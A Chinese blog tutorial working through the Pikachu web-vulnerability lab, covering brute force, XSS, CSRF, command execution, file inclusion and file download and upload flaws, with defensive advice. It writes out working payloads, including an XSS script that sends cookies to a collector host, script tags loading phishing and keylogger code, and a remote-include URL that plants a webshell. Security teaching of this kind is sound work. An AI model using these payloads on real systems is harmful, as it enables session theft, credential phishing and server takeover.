Jay jay
文章28
标签2
分类0
pikachu靶场的学习

pikachu靶场的学习

pikachu靶场的学习

pikachu介绍

pikachu是一个网络安全学习的靶场,集合了常见web安全的漏洞,很适合初学者进行学习。

pikachu靶场下载链接为:

https://github.com/zhuifengshaonianhanlu/pikachu

pikachu靶场的搭建

首先下载安装phpstudy,从下载链接中下载好pikachu源码,解压到phpstudy的www目录下,完成配置与初始化即可。

安装可参考这篇文章:

https://blog.csdn.net/weixin_42474304/article/details/117533788

pikachu靶场实战练习

暴力破解

简单来说就是尝试不同的用户名和密码来进行尝试去碰撞真是存在的用户和密码,人工尝试是不可能快速的实现,所以要基于工具自动化来帮我们快速猜出账号和密码。暴力破解=连续尝试+字典+自动化。

字典是暴力破解中的重中之重,一本好的字典可以大大提高破解速度:

  • 常用的账号密码(弱口令)
  • 互联网上被脱裤后的账号密码(社工库)
  • 对网站管理者进行信息收集,利用收集的信息实用密码生成工具进行密码字典的生成。

一个网站理论上在攻击者有足够强大的计算能力和时间的前提下都是可以被暴力破解拿到网站的后台管理权限。所以我们对一个web系统存在暴力破解漏洞一般指的是该web系统没有采用或采用了较弱的安全策略,从而导致被暴力破解的可能性高。这里安全策略包括:

  1. 是否要求用户设置复杂的密码

  2. 是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp

  3. 是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等

  4. 是否采用了双因素认证

    ..等等

存在暴力破解漏洞的网站会遭到暴力破解但成功的可能性并不是100%。

暴力破解的流程

  1. 确认是否存在暴力破解漏洞:确认目标是否存在暴力破解的可能性,如抓包观察验证元素和response信息,判断暴力破解可能性。

  2. 对字典的配置:

    根据实际情况对字典配置提高暴破成功率:

    • 根据注册信息进行优化,对目标站点进行注册,搞清账号密码限制,如:用户名密码长度,字母数字组合,按照此要求去除字典中不符合要求的密码
    • 如暴破管理后台,往往网站模板默认的管理员账号(admin、administrator、root)的机率比较大,可以使用这三个账号加密码进行尝试登录,观察返回结果确定用户名

    如:提示用户名密码错误则两项都错,提示密码错误则用户名正确只对密码进行暴破

  3. 自动化工具的使用:

    配置自动化工具(时间、线程、重试次数、ip等),进行自动化操作,常用的工具有burpsuite

基于表单的暴力破解流程和配置工具过程

基于表单暴力破解靶场
测试目标:pikachu靶场的表单暴力破解
测试工具:burpsuite抓包工具(https://portswigger.net/burp/download.html)

进行简单的登录尝试:(会提示用户名和密码不存在)登录失败
登录尝试
在burp抓到的包中我们可以看到是一个post请求
抓取数据包
查看数据包内容
可以在intercept中看到所抓的包的最后一行有用户名a密码为a
响应数据包
正常的响应返回登录失败的页面
选中这条post请求右键并发送到intruder中
发送到intruder中
在选项卡中选中intruder选项,清楚原始数据包中的变量,然后选中用户名和密码点击Add$将其设置为变量
清楚变量
添加变量
在攻击模式选项中(attack type)中有四种模式:

  • Sniper模式逻辑:先将第一个变量也就是用户名替换,第二个变量不动。当第一个变量替换完之后,对第二个变量进行依次替换。直白一点就是说一个变,另外一个不变,第一个变完,变第二个。
  • Battering ram模式逻辑:所有变量进行同时同样的替换。就是说你变我也变,你变什么我也变什么。
  • Pitchfork模式逻辑:所有变量同时替换,但是各自变量替换各自的字典,同时进行,但是互不相干。替换时第一个变量的第一替换值对应第二个变量的第一个替换值,不进行排列组合,就是1对1,2对2。不会将密码进行随机的排列组合。
  • Cluster bomb模式逻辑:与Pitchfork模式逻辑类似,不同点是Cluster bomb模式会进行随机的排列组合。

在这里我们选择Cluster bomb模式进行暴破,在Payloads中配置第一个变量和第二个变量的字典,这里可以手动输入添加,也可以在系统中添加已经写好的字典。
配置
添加字典后进行攻击,根据返回数据包的长度进行判断是否成功。为了方便观察也可以Options选项中的grep-match中删除原有字符串,添加username or password is not exists,burp就会将所有含有此字符串的数据包flag出来。没有被flag出的数据包则是我们破解成功的数据包。点击username or password is not exists进行排序,没有勾选的则表明破解成功,有勾选的则表明破解失败。
攻击结果
用成功破解的用户名:admin 密码:123456登录,login success:
验证

暴力破解之不安全的验证码分析—on client—on server

验证码的作用: 防止登录暴力破解、防止机器恶意注册账号
验证码的认证流程:

  • 客户端请求登录页面后端生成验证码:

    1. 后端使用算法生成图片,并将图片响应给客户端
    2. 同时将算法生成的值全局赋值存到SESSION中
  • 校验验证码:

    1. 客户端将信息和验证码一起提交
    2. 后端对提交的验证码和session中的验证码值比较
  • 客户端刷新页面,生成新的验证码:
    验证码生成的算法中包含随机生成函数,每次刷新重新生成

只在前端验证的验证码(on client)

打开靶场,随便输入用户名和密码,加上正确的验证码,并用burp抓包
登录信息
提示登录失败页面刷新验证码更新
验证码刷新
抓包信息
抓包信息
查看源码可以看到验证码是在前端生成并且验证也在前端
生成和验证验证码
将数据包发送到repeater模块中判断后端是否对验证码进行了校验,修改数据包中验证码的值,点击go可以看到返回的页面只有用户名和密码错误并没有验证码错误的提示
验证是否有后台检验
这可以判定这个验证码的验证方式为前端验证并没有后验证,是通过JavaScript实现的验证码,对于不懂安全的人来说,可以起到一定的防范作用。但对于知道这个原理的人来说形同虚设。然后的操作就和基于表单的流程一样,发送数据包到Intruder中,选用Cluster bomb模式修改变量,因为验证码后台并不校验没有用,所以只用选择用户名与密码。
暴破
配置字典开始暴破,通过长度排序找到正确的用户名和密码
暴破过程
输入用户名密码和正确的验证码登录成功
登录成功
(on-client)这种方式存在的问题:

  • 使用前端js实现验证码(纸老虎)
  • 将验证码在cookie中泄露,容易被获取
  • 将验证码在前端源代码中泄露,容易被获取
在后端校验的验证码(on server)

同样的在靶场中随机输入用户名和密码输入正确的验证码,并抓包
输入信息
登录失败验证码发生变化
验证码变化
将该数据包发送到repeater中修改验证码查看返回页面信息(改为空提示验证码不能为空)
验证码不能为空
随便输入验证码提示验证码错误
验证码错误
经过判断发现后端对验证码进行了判断,这样是否就没有问题了?显然不是这样,从表面上看没有问题,但是我们还需要对验证码是否在后台过期进行进一步验证。首先先点击验证码,获取一个新的验证码,并将其记下来。
获取新验证码
然后将返回数据包中输入正确的验证码点击go,提示用户名和密码不存在
返回数据包
为了验证验证码是否一致有效,我们修改用户名和密码,验证码不变,点击运行,结果一样。说明验证码可以重复利用。
验证码是否可重复利用
将数据包发送到Intruder,设置变量用户名和密码,验证码则输入正确的验证码,不设置变量。输入字典进行破解。
配置字典
长度排序找出正确的用户名和密码
查找用户名密码
登录成功
登录成功

(on-server)这种方式存在的问题:

  • 验证码在后台不过期,导致可以长期被使用
  • 验证码校验不严格,逻辑出现问题
  • 验证码设计的太过简单和有规律,容易被猜解

token防暴破?

Token在计算机身份认证中是令牌(临时)的意思,在词法分析中是标记的意思。一般作为邀请、登录系统使用。
一个token实例

//生成一个token,以当前的时间+一个5位的前缀
function set_token(){
if(isset($_SESSION['token'])){
unset($_SESSION['token']);
}
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}

一般的做法:

  1. 将token以”type=‘hidden’’”的形式输出在表单中
  2. 在提交的认证的时候一起提交,并在后台对其进行校验
    由于其token值输出在了前端源码中,容易被获取,因此也就失去了防暴力破解的意义。一般Token在防止CSRF上会有比较好的功效,具体讲在CSRF漏洞章节进行讲解

暴力破解常见的防范措施

  • 设计安全的验证码(安全的流程+复杂而又可用的图形)
  • 对认证错误的提交进行计数并给出限制,比如连续5次密码错误,锁定2小时
  • 必要的情况下,使用双因素认证

xss(跨站脚本攻击)

  • Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:反射型xss、存储型xss、dom型xss。
  • XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
  • XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
  • XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

xss(窃取cookie)攻击流程

xss流程

xss漏洞分类及攻击流程

xss分为(危害排序): 存储型>反射型>dom型

  1. 存储型xss:持久化代码是存储在服务器中的,如在注册账号个人信息或发表文章、留言版等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
  2. 反射型xss:非持久化存储代码,一次性,所见所得,需要欺骗用户自己去点击链接才能出发攻击(服务器中没有这种页面和内容),一般出现在web页面(查询页面),多用来盗取cookie。
  3. dom型xss:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过 url 传入参数去控制触发的,也是一次性的,其实也属于反射型XSS

xss形成原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

xss的攻击载荷: script、svg、img、body、video、style标签
xss可以插在哪里:

  1. 用户输入作为 script 标签内容
  2. 用户输入作为 html注释内容、标签的属性名和属性值、标签的名字(关键是要闭合标签)
  3. 直接插入到css中
  4. 最重要的是,千万不要引入任何不可信的第三方 JavaScript 到页面里!

xss的攻击流程:

  1. 在目标网站找到输入点如搜索框留言板等
  2. 输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合)
  4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

接口处一般为反射型,留言评论处一般为存储型,由于后台存在过滤构造的script可能过滤掉不生效,或者浏览器限制执行,尽量构造script绕过后台过滤。

反射性xss(get&post)学习

打开对应的靶场,在输入点输入特定的字符串如*;”‘><666*,目的是为了查看是否会对输入的字符串进行过滤、输出、处理。
测试是否处理
查看源码我们发现并没有对字符串处理直接原样输出:
源码
我们输入正确的javascript代码看是否会原样输出:
输入
还没输入完但是输入不了了,原因是对长度进行了限制。这是在前端的安全设置,意义不是很大。兵来将挡水来土掩,在设置中打开web开发者工具,查找输入框语句,修改并扩大输入框限制,并继续输入代码。
扩大限制
输入代码:<script>alert('a')</script>然后点击提交,我们可以看到输入的代码执行了并且出现了xss弹窗。
代码执行
因为是反射性,一次性的,刷新页面之后弹窗消失。这个xss实际上是以get的方式提交的。
get和post 提交方式的区别为get实在url中作为参数提交,在url中可以看到,而post提交是以表单的方式提交在url中看不到。GET方式的XSS漏洞更加容易被利用, 一般利用的方式是将带有跨站脚本的URL伪装后发送给目标,而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击。
post方式的靶场和get方式差不多,只不过我们需要先登录才能看到靶场测是的输入点,以post方式在url中看不到提交的参数,我们可通过hackbr查看post方式的参数
post的反射性xss

存储型xss学习

存储型xss与反射型xss形成的原因不同,存储型xss将攻击者的脚本注入到后台数据库中永久化存储,构成更加持久的威胁也被称为永久型xss。
打开存储型的靶场我们在留言板上试着留言666如图所示
留言
可以看到在mysql数据库的pikachu的message表中有相关信息,实现了永久化存储
数据库信息
再次输入一条信息还能显示,确实存储在了后台数据库中
第二次输入信息
按照先前的思路,我们先测试这个留言版中是否存在xss,先输入特殊字符
特殊字符
查看源码并未做特殊处理直接输出
源码
我们输入一个payload,一个弹窗,提交后我们发现出现了弹窗
测试
我们刷新页面发现弹窗仍然存在在后台数据库中也能看到相关payload
永久化
与反射型手法差不多,唯一区别就是永久性和一次性

dom型Xss学习

DOM:通过html Dom和JavaScript可以访问和改变html文档的所有元素,文档对象模型即dom,在浏览器加载网页时会创建这个对象
dom
通过JavaScript可以重构整个html,JavaScript要通过dom这个对象来选择html中的元素来进行修改,可以把dom想象成一个接口。
打开dom型xss我们来进行学习:
我们在输入框中输入一串字符,点击查看效果
输入字符
显示what do you see?可以打开源码查看做了什么
源码
可以看到输入框中输入的能容拼接入一个a标签,判断此处是否有xss漏洞,与之前思路一样。先确认输入点,输入就是input也就是输入框。输出的话DOM是纯前端操作,输出也是前端输出。
代码
红框选中的str即为我们在文本框中输入的字符串,将这句拼接的话拿出来单独分析,利用输入构造一个闭合

<a href='"+str+"'>what do you see?</a>

我们依旧构造一个弹窗在输入框中输入:#' onclick="alert('a')">
构成a标签闭合且加了一个弹窗:<a href='#' onclick="alert('a')">'>what do you see?</a>
点击一下a标签会出现弹窗
测试
有点小瑕疵但可以执行。

dom型xss-x学习

这是一个例外,在输入框输入字符串并提交
输入
同样查看源码,看看是什么操作,
代码
这个的输入实际上是从url中获取的,类似与反射型,我们依旧对a标签进行闭合输入' onclick="alert('xss')">
出现弹窗
点击提交产生了弹窗

xss盲打和原理分析

xss盲打指的是一种攻击场景,就是从前端输入的数据只能在后台看到前端页面不会展示,从前端无法判断是否存在xss。操作方法不管前端页面分返回直接往输入点插xss代码然后等待看看是否可以撞大运获取到信息。由于是后台管理页面,安全考虑不严格登录的时候就会被x。
打开xss盲打进行学习:
盲打
我们在前端输入了xss代码<script>alert('xni')</script>,点击了提交,在前端页面并没有显示,也就是说只能在后台管理页面才可以看到。我们使用管理员账号密码登录后台管理页面看看我们输入的弹窗代码是否会执行
后台登录
输入用户名密码点击登录查看是否有弹窗
出现弹窗
管理员被x到,这种情况就是xss盲打,对攻击者来说只是尝试的输入,并不知道后台是否被输出,只是尝试的输入跨站脚本。管理员被x到,攻击者成功。这种危害比较大,如果在前端输入一段盗取cookie的脚本,管理员一登陆,管理员的cookie就会被获取。攻击者就可以伪装管理员登陆后台,后台的权限就大了。

xss的绕过和过滤(filter&htmlspecialchars)

xss绕过-过滤-转换

  • 前端限制绕过,直接抓包重放,或者修改前端html代码
  • 大小写,如: <SCRIPT> aLeRT(111)</sCRIpt>
  • 拼凑:<scri<script> pt> alert(111)</scri</script> pt>
  • 使用注释进行干扰:<scri<!--....--> pt> alert(111)</sc <--test--> ript>
  • xss绕过-过滤-编码*
    核心思路:后台过滤了特殊字符比如<script>标签,但该标签可以被各种编码,后端不一定会过滤,当浏览器对改编码进行识别时会正常翻译从而执行,在使用编码时需注意编码在输出点是否会被正常识别和翻译
    例子:< img src=x onerror=”alert( xss )"将alert( xss )进行url编码可以执行吗?
<img src=x onerror= " alert%28%27xss%27%29" />

不可以,因为标签属性不会正常解析这些编码
例子:使用事件属性onxx();

<img src=x onerror=" alert('xss')" />

可以把alert(“xss )进行html编码,可以执行.事件标签里面并不会执行标签里面的代码。
XSS绕过的姿势有很多取决于你的思路和对前端技术的掌握程度
打开xss之过滤我们随意输入字符串:<script>;'#@
xss过滤
查看源码发现我们输入的字符串中scrpit标签被过滤了
源码
尝试大小写绕过<scRIPt>alert(666)</ScrIpt>
成功
成功弹窗,也可以换别的标签<img src=x onerror="alert(666)">绕过
弹窗
成功弹窗
XSS绕过关于htmlspecialchars()函数
htmlspecialchars()函数把预定义的字符转换为HTML实体,预定义的字符是

&(和号)成为&
“(双引号)成为”
‘(单引号)成为’
<(小于)成为<
‘>’(大于)成为>

可用的引号类型

ENT_ COMPAT -默认。仅编码双引号。
ENT QUOTES -编码双引号和单引号。
ENT NOQUOTES -不编码任何引号。

打开xss之htmlspecialchars输入字符串66666’“<>#$%查看返回页面信息和源码
输入字符串
提交后查看页面源码
<a href="66666’“<>#$%">66666’“&lt;&gt;#$%</a>
可以发现除了单引号其他特殊字符都进行了特殊编码,可以构造q' onclick='alert(666)'对前边的单引号闭合,点击提交然后点击记录出现弹窗
弹窗

XSS输出在href和js中的案例分析
打开xss之herf,输入Javascript:alert(666),不含有特殊字符
测试
打开源码查看

<a href="Javascript:alert(666)"> 阁下自己输入的url还请自己点一下吧</a>

在a标签的herf中,我们返回页面点击返回的蓝色字体
点击蓝字
alert被执行,出现弹窗。在这里我们可以做出相应防范,只允许http,https,其次在进行htmlspecialchars处理。
打开xss之js,我们随意输入然后查看页内原码。
源码
我们输入tmac
tmac
我们尝试造成闭合输入x'</script><script>alert('xss')</script>先将前面的script闭合再插入我们自己的语句
造成闭合
出现弹窗,查看代码可以看到确实闭合了
代码闭合

xss危害:获取cookie的原理和危害

get型xss的利用(将恶意代码装到url中发送给用户用户访问后盗取信息):
首先我们需要打开皮卡丘靶场的xss后台进行登录查看收集的数据
xss后台
可以看到cookie数据为空
然后打开反射型xss的get型,首先我们先解决字符长度,然后我们写入一个比较复杂的payload,目的是获取本地cookie发送给xss后台

payload为:<script>document.location = 'http://xss平台的ip/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

这里的payload需要自己修改一下这个文件文件,这里是在虚拟机里边搭建的,都改成虚拟机的IP地址即可,这里需要注意文件路径
文件修改
配置好后将payload输入靶场进行演示
步骤

post型xss利用:
输入账号密码登录,页面跳转,输入字符,不难发现并没有在url中提交参数。
参数
可以打开hackbar来查看提交的参数使用message来传递的
post参数
message是通过请求体返回,通过post方式传到后台。这样的话是不能把恶意代码嵌入url中。
POST型XSS获取cookie原理(将伪造的页面链接发送给用户)
post型原理
需要自己搭一个恶意站点,然后在网站上放一个post表单,将存放POST表单的链接发送给受害者,诱导受害者点击。 这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie。
post型演示:
演示之前首先要修改这个文件
修改
演示:
演示
可以看到成功获取到cookie

xss危害-XSS进行钓鱼的原理和演示

钓鱼的思路(存储型xss,存储到服务器然后用户输)
思路
攻击者制作一个钓鱼登录页面,人后通过存储型xss漏洞将页面展示到网站中,用户防护意识不强的话将账号密码填入发送,钓鱼成功
演示:
首先需要修改文件
修改文件
演示打开钓鱼后台,打开存储型xss,输入

<script src="http://192.168.23.128/pikachu/pkxss/xfish/fish.php"></script>

(这里的src中的网址问xss平台的网址)页面会出现弹窗,输入账号密码。当页面刷新时依然存在弹窗,所有访问者都会遇到弹窗,输入账号密码后,数据被存入后台,打开xss后台即可查看钓鱼数据
演示

XSS危害XSS获取键盘记录原理和演示

首先要理解跨域
跨域
当协议、主机(主域名,子域名)、端口中的任意一一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
跨域同源策略 为了安全考虑,所有的浏览器都约定了同源策略, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。如果想要跨域操作,则需要管理员进行特殊的配置。比如通过: header( “Access -Control Allow- Origin:x.com” )指定。
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
tips
演示之前需要修改文件
修改
演示:
打开存储型xss,我们输入payload来加载xss平台的js代码插入到页面

<script src="http://192.168.23.128/pikachu/pkxss/rkeypress/rk.js"></script>

演示

解决跨域请求页面问题
跨域
修改页面重启服务清空浏览器缓存,重新输入查看键盘记录
成功记录

XSS常见防范措施

总的原则:输入做过滤,输出做转义:

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
  • 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行htm|实体转义,输入到JS里面的进行js转义。

CSRF(跨站请求伪造漏洞)

csrf漏洞概述

cross-site request forgery(csrf跨站请求伪造)。在csrf攻击中,攻击者会伪造一个请求(一般是一个链接),欺骗用户点击,用户一旦点击整个攻击就完成了,所以也叫one click攻击。
例子:A用户在某网站的信息修改页面修改完信息点击提交即可修改成功,修改的链接地址为:http://#/csrf_mem_ edit.php?sex= 女&phonenum= 12345678922&add=地球村504号&email=lucy@pi ka’ chu.com&submit=submit
这时攻击者B想修改A的用户信息如何完成?必须需要有A的权限,修改个人信息的请求
攻击者B注册该网站抓包获取到修改信息的请求,然后伪造一个请求地址为http://#/csrf mem. edit.php?sex=女&phonenum= 13856564455&add=火星村111号&email=lucy@pikachu.com&tsubmit=submit引诱A在登录的情况下点击,此时攻击就完成了。
攻击成功的条件

  1. 网站对个人信息修改的请求没有做csrf处理,导致该请求容易伪造。因此在判断一个网站是否存在csrf漏洞其实就是判断其对关键信息的操作(增删改)是否易伪造
  2. A要登录的情况下点击伪造请求,若未登录或没有点击伪造请求链接则攻击不会成功

csrf和xss的区别

  • 如果攻击者B在网页中发现了xss漏洞他的做法是:
  1. 欺骗A访问埋伏了xss脚本(盗取cookie信息的脚本)的页面
  2. A中招,B获取到A的cookie
  3. B顺利登录到A的后台进行修改
  • csrf是借用用户权限完成攻击,攻击者并没有获取到用户权限,而xss是直接获取到用户权限进行破坏。

如何确认一个web系统是否存在csrf漏洞:

  1. 对目标网站增删改的地方进行标记观察逻辑判断请求是否可以被伪造

    • 如修改管理员账号时不需要验证旧的密码容易导致请求伪造
    • 如对敏感信息修改并没有使用安全的token验证导致请求容易被伪造
  2. 确认凭证的有效期(这个问题会提高csrf被利用的概率)
    虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有及时过期,导致CSRF攻击变的简单。

scrf(get/post)演示和解析

csrfget:
打开靶场的csrfget,我们假设是lucy登录网站修改信息
登录
修改信息
我们修改信息并抓包查看数据
数据包
这是我们的请求:GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=usaccca&email=lucy%40pikachu.com&submit=submit 在这里并没有看到csrf的token说明并没有防csrf的措施
我们修改请求,将地址修改为shanxi的请求如下

http://192.168.23.128/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=shanxi&email=lucy%40pikachu.com&submit=submit

现在只需要将这个地址通过聊天或者信息的方式发送给lucy,lucy进行访问,信息的地址就会更新成shanxi
地址更新

post型因为是请求体,不能在url中携带参数所以需要和xss的post型类似需要自己弄一个站点做一个表单让lucy点击访问我们恶意站点表单页面,向页面提交post请求
post演示
抓包查看参数信息
然后我们在服务自己搭建的服务器上搭建一个表单以post方式提交的页面
页面
我们构造一个链接:http://192.168.23.128/pikachu/vul/csrf/post.html将他发送给lili,在lili登录的情况下点击了该链接攻击完成
攻击完成
可以看到信息被修改了

反csrf token

csrf的主要问题是敏感操作的链接容易被伪造,只要每次请求都加上一个随机号码(够随机,难伪造)后端每次对这个号码进行检验,这个随机号码就是token,生成token的代码如下
代码

常见CSRF防范措施

  • 增加token验证(常用的做法):
  1. 对关键操作增加token参数,token值必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用) :
  1. 不要在客户端端保存敏感信息(比如身份认证信息)
  2. 测试直接关闭,退出时的会话过期机制
  3. 设置会话过期机制,比如15分钟内无操作,则自动登录超时
  • 访问控制安全管理
  1. 敏感信息的修改时需要对身份进行二次认证,比如修改账号时,需要判断旧密码
  2. 敏感信息的修改使用post,而不是get
  3. 通过http头部中的referer来限制原页面
  • 增加验证码:一般用在登录(防暴力破解) ,也可以用在其他重要信息操作的表单中(需要考虑可用性)

REC(代码/命令执行)

remote command/code execute(REC)概述:rec漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或代码直接控制后台系统。
远程系统命令执行:一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作接口,如常见的路由器、防火请、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。现在很多企业都开始实施自动化运维,大量的系统操作会通过自动化运维平台进行操作, 在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
打开pikachu靶场exec “ping”我们来尝试一下输入127.0.0.1点击ping
尝试
可以看到出现了命令结果,但结果有乱码
后端代码
如果后端没有做严格的过滤我们就可以拼接其他命令进行操作,如输入127.0.0.1 & ipconfig点击ping就可以看到提交目标的IP了,也可以拼接一些其他命令进行尝试
利用

远程代码执行命令
打开pikachu的exec “evel”进行尝试:这个更简单随意输入字符串,返回文字。eval(输入)也就是执行任何我们输入的命令如phpinfo();
后端代码
成功执行
这里学习一个php函数system(“”)执行外部程序并显示输出。
如输入system(“ipconfig”);点击提交成功返回目标IP
尝试system函数

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法

file inclusion(文件包含漏洞)

文件包含原理以及本地文件包含漏洞

文件包含漏洞概述
在web开发时程序员为了让提高效率然代码重复利用率提高,使代码看起啦更简洁,会使用“包含’的函数功能。如:把一些列公用的函数写到function.php中,当其他文件需要相关函数时只需要将function.php在文件头部包含就可以调用相关函数了。但有时因网站功能需求,会让前端用户选择需要包含的文件或者在前端的功能中使用了”包含”功能,又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。这种情况我们称为”文件包含漏洞”
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
文件包含漏洞分为两种本地文件包含漏洞和远程文件包含漏洞
文件包含的两种形式
本地文件包含:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
在php中可以使用include()或者require()语句包含文件,将一个php文件内容出入到另一个php文件中(在服务器执行它之前)还有include_once()和require_once()函数也可以进行文件包含
include和require语句相同除了错误处理方面:
require会生成致命错误( E_ COMPILE ERROR )并停止脚本
include只生成警告( E WARNING ) ,并且脚本会继续运行

文件包含演示
演示

本地文件包含漏洞

打开pikachu靶场的fileinclude本地文件包含,点击下拉列表选择一个提交查询
查看地址
可以看到地址栏显示的是一个文件file5.php按照设计这些文件都是后台自己存在的文件。但是由于这个文件名是前端传向后台的,也就意味着我们可以修改这个文件。我们可以猜测一下后台的操作系统是win11,其中有很多固定的配置文件例如…/…/…/…/…/…/可以多敲几个,最后都会跳到根目录。我们将文件名替换../../../../Windows/System32/drivers/etc/hosts可以看到hosts文件的内容在前端显示了
包含hosts文件

远程文件包含漏洞演示

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的incldue和require ,则需要php.ini配置如下:
allow_url_fopen=on//默认打开
Allow_url_include=on//默认关闭
配置
写入一句话木马危害很大
配置好后我们打开靶场,点击一个文件提交
远程文件包含
地址特殊处
看地址栏观察url实际上是提交一个目标文件路径,我们改成一个远端的路径,读取远程文件

http://192.168.23.128/pikachu/test/yijuhua.txt

访问
将靶场链接中的文件替换成远端链接文件(黑客搭建的服务器)修改后的链接如下

http://192.168.23.128/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.23.128/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4

我们粘帖访问
访问
会在服务器端的本地当前目录生成一个yijuhua.php传参为x
我们访问http://192.168.23.128/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig这个链接就能成功获取到信息
信息
也可以直接用哥斯拉、冰蝎、中国菜刀等工具直接链接一句话木马拿权限
文件包含的防护在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤

  • 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
  • 过滤各种./. ,http://https://
  • 配置php.ini配置文件:
allow_url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //魔术引用将单引号反斜杠双引号null字符转义
  • 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止

Unsafe file downloads(不安全的文件下载漏洞)

很多网站提供文件下载功能,即用户可以通过点击下载链接下载对应文件。但文件下载功能设计的不合理则可能导致攻击者通过构造文件路径从而获取到后台服务器上的其他敏感文件(任意文件下载)
打开靶场的不安全的文件下载,正常功能点击球员名字就可以下载图片
下载
下载图片
查看下载链接的地址http://192.168.23.128/pikachu/vul/unsafedownload/execdownload.php?filename=rayal.png相当于把ai.png传到后台,后台去找这个文件,把文件读取之后,传到前端下载。
我们点击科比,将url,改为ai.png
ai下载
结果是下载了ai.png
我们还可以使用目录遍历的方式去修改链接下载敏感文件。
防范措施:

  1. 对传入的文件名进行严格的过滤和限定
  2. 对文件下载的目录进行严格的限定

Unsafe file uploads(不安全的文件上传)

由于业务功能的需求很多网站都有文件上传的接口:

  1. 注册时上传头像图片(如jpg、png、gif等)
  2. 上传文件附件(如doc、xls等)
    如果后端开发时并没有对上传文件功能进行安全考虑或者采用有缺陷的措施导致攻击者可以通过某些手段绕过安全措施上传一些恶意文件(一句话木马)导致网站权限被获取

文件上传漏洞的测试流程

  1. 对文件上传的地方按照要求上传文件,查看返回结果(路径和提示等)
  2. 尝试上传不同类型的恶意文件,如xx.php文件分析结果
  3. 查看html源码,看是否在前端通过js做了限制可以绕过
  4. 尝试不同方式进行绕过:黑名单绕过、mime类型绕过、目录0x00截断绕过等
  5. 猜测或者结合其他漏洞(如敏感信息泄露等)得到木马路径链接测试

打开靶场unsafe upfileupload客户端check我们浏览上传文件发现只能上传照片
靶场
我们上传一个php脚本会提示上传文件不符合要求
提示
上传其他类型的文件会被前端提示,有可能这个限制是前端实现的,打开源码查看
源码
发现果然进行了限制,修改前端代码直接删除onchange的函数
修改前端代码
